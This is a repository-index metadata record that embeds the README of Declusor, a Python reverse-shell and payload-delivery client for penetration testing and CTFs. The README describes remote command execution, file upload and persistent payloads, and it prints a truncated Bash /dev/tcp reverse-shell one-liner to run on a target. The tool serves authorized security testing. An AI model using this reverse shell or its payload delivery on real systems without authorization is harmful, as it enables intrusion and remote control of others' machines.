{"id":36967766,"url":"https://github.com/othonhugo/declusor","last_synced_at":"2026-01-13T20:43:46.577Z","repository":{"id":327820875,"uuid":"809212124","full_name":"othonhugo/declusor","owner":"othonhugo","description":"A unified, interactive CLI for remotely executing scripts, managing payloads, establishing interactive command sessions, and handling file transfers across remote environments.","archived":false,"fork":false,"pushed_at":"2025-12-07T19:51:33.000Z","size":254,"stargazers_count":4,"open_issues_count":0,"forks_count":3,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-12-09T14:25:45.401Z","etag":null,"topics":["bash","cli","ctf","cybersecurity","infosec","linux","payload-delivery","penetration-testing","pentesting","post-exploitation","python"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/othonhugo.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2024-06-02T03:13:03.000Z","updated_at":"2025-12-08T04:01:32.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/othonhugo/declusor","commit_stats":null,"previous_names":["othonhugo/declusor"],"tags_count":4,"template":false,"template_full_name":null,"purl":"pkg:github/othonhugo/declusor","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/othonhugo%2Fdeclusor","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/othonhugo%2Fdeclusor/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/othonhugo%2Fdeclusor/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/othonhugo%2Fdeclusor/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/othonhugo","download_url":"https://codeload.github.com/othonhugo/declusor/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/othonhugo%2Fdeclusor/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28399910,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-13T14:36:09.778Z","status":"ssl_error","status_checked_at":"2026-01-13T14:35:19.697Z","response_time":56,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bash","cli","ctf","cybersecurity","infosec","linux","payload-delivery","penetration-testing","pentesting","post-exploitation","python"],"created_at":"2026-01-13T20:43:45.838Z","updated_at":"2026-01-13T20:43:46.572Z","avatar_url":"https://github.com/othonhugo.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Declusor: A Remote Control and Payload Delivery Client\n\n[![License](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)\n![Python 3.x](https://img.shields.io/badge/python-3.x-blue.svg)\n\n**Declusor** is a fast, flexible, and modular Python tool built for penetration testers, CTF players, and security professionals. It streamlines payload delivery and provides reliable remote control through a unified, interactive CLI.\n\nIts intelligent command-line interface boosts productivity with smart command and path completion, while supporting remote command execution, interactive sessions, payload management, and file transfers — all in one place.\n\n![Capabilities Overview](https://i.imgur.com/Wsw2l90.gif)\n\n\u003e [!WARNING]\n\u003e **Legal Notice**: This software is intended solely for educational use and authorized security research. The developers assume no liability for any misuse or unlawful activity carried out with this tool. Executing this software on networks or systems without ownership or explicit, written authorization for any form of testing or operation is strictly prohibited.\n\n## Features\n\n- **Shell Management**: Establish, maintain, and interact with remote shell sessions.\n- **Command Execution**: Execute arbitrary commands on the remote system with output captured by the client.\n- **Interactive Shell**: Open a full interactive shell session for seamless interaction with the remote environment.\n- **File Uploads**: Transfer files from the local machine to the remote target.\n- **Payload Loading**: Load and execute shell scripts or other payloads from local files on the remote system.\n- **Local Command Completion**: Features a custom command-line completer for easy navigation and command input, suggesting available commands and local file paths.\n\n## Technical Architecture\n\nDeclusor is built with a modular design focusing on reliability and maintainability, structured around key components:\n\n- **Connection Management**: Handles the underlying network communication and data transfer between the client and target, ensuring robust session stability.\n- **Command Processing**: Interprets user commands and dispatches them to specialized modules for execution, enabling diverse remote operations.\n- **Module System**: Provides a flexible and extensible framework for integrating new functionalities and commands, enhancing Declusor's adaptability.\n- **User Interface**: Manages the interactive command-line experience, including intelligent command and file path completion for improved usability.\n\n## Getting Started\n\n### Prerequisites\n\n- **Python 3.x**: Ensure you have Python 3 installed on your local machine.\n- **Unix‑like Operating System (Target)**: Declusor relies on some features which are standard on Linux, macOS, and other Unix‑like systems on the target machine.\n\n### Installation\n\nClone the Declusor repository to your local machine:\n\n```bash\ngit clone https://github.com/othonhugo/declusor.git\ncd declusor\nchmod 700 ./declusor\n```\n\nNo additional Python packages are required beyond the standard library.\n\n### Quick Start\n\n```bash\n# Start the listener (replace IP and PORT as needed)\n./declusor 127.0.0.1 4444\n```\n\nThe client will output a Bash one‑liner. Execute that one‑liner on the target machine to establish the reverse shell.\n\n## Usage\n\n### Starting the Listener (Declusor Client)\n\nRun the script with the desired IP and port:\n\n```\n./declusor \u003cLISTENER_IP\u003e \u003cLISTENER_PORT\u003e\n```\n\n**Example:**\n\n```bash\n./declusor 127.0.0.1 4444\n```\n\nAfter starting the listener, Declusor prints a Bash one‑liner. This command needs to be executed on the target machine to establish the reverse shell connection back to the Declusor client.\n\n### Establishing the Reverse Shell (Target Machine)\n\nCopy the printed one‑liner and run it on the target machine:\n\n```bash\n( exec 3\u003c\u003e /dev/tcp/127.0.0.1/4444; while [...] done \u003c\u00263 \u003e\u00263 2\u003e\u00263 )\n```\n\n### Interacting with the Target\n\nWhen the reverse shell is active, Declusor shows a `[declusor]` prompt.\n\n```\n[declusor] help\nload    : Load a payload file from your local system and execute it on the remote system\ncommand : Execute a single command on the remote system.\nshell   : Initiate an interactive shell session on the remote system.\nupload  : Upload a file from the local system to the remote system.\nexecute : Execute a program or script from the local system on the remote system.\nhelp    : Display detailed information about available commands or a specific command.\nexit    : Terminate the session and exit the program.\n[declusor] load discovery/dev_tools.sh\n\nDEVELOPMENT TOOLS\n-----------------\n/usr/bin/nc\n/usr/bin/netcat\n/usr/bin/gcc\n/usr/bin/wget\n/usr/bin/curl\n```\n\n## Customizing and Extending Payloads\n\nTo fully leverage `declusor`, you can create custom payloads or modify the existing ones. Start by exploring the `data` directory, which contains key subdirectories: `library` and `modules`.\n\n- **`data/library/`**: This folder contains scripts that are automatically sent to the target immediately after a connection is established. These scripts are intended to persist in the target's memory, effectively allowing the target to \"remember\" the subroutines. Once stored, these subroutines can be used repeatedly in combination with your payloads.\n- **`data/modules/`**: This folder holds scripts that the target executes on demand, organized into categories. The output from these scripts is sent back to your server (or your prompt). The `load` command automatically scans this folder for available files and directories, simplifying the process of incorporating them into your payloads.\n\n## Contributing\n\nContributions are highly encouraged and welcome! We prioritize clarity, correctness, and modularity in the codebase.\n\n**Areas for contribution include:**\n\n- **New Command Handlers**: Extend Declusor's functionality by adding new commands (e.g., for specific reconnaissance, privilege escalation, or post-exploitation tasks).\n- **Payload Development**: Create new scripts for the `data/library/` (persistent subroutines) or `data/modules/` (on-demand execution) directories.\n- **Cross-Platform Compatibility**: Enhance support for different operating systems, especially for the target-side one-liner or client-side execution.\n- **Documentation \u0026 Examples**: Improve existing documentation, add more detailed usage examples, or create tutorials.\n- **Bug Fixes \u0026 Robustness**: Identify and fix bugs, improve error handling, or enhance the stability of network communications.\n- **Code Refactoring \u0026 Clarity**: Improve code readability, maintainability, and adherence to best practices.\n- **Test Coverage**: Expand unit and integration tests to ensure reliability.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fothonhugo%2Fdeclusor","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fothonhugo%2Fdeclusor","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fothonhugo%2Fdeclusor/lists"}